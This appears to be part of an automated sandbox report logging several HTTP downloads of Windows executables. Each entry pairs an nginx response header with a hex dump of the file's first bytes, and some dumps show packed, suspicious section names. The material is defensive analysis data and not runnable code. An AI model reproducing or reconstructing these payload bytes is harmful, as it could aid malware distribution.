Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:46:25 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 21 Oct 2024 07:51:53 GMTConnection: keep-aliveETag: "67160819-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 6b 44 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:08 GMTContent-Type: application/octet-streamContent-Length: 2964480Last-Modified: Mon, 21 Oct 2024 08:30:03 GMTConnection: keep-aliveETag: "6716110b-2d3c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 7d c1 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 64 62 76 62 79 77 6d 00 b0 2a 00 00 00 06 00 00 a6 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 79 6e 69 6a 71 62 6e 00 10 00 00 00 b0 30 00 00 04 00 00 00 16 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 1a 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:17 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:38 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:53 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:55 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 21 Oct 2024 07:51:53 GMTConnection: keep-aliveETag: "67160819-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 6b 44 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:55 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
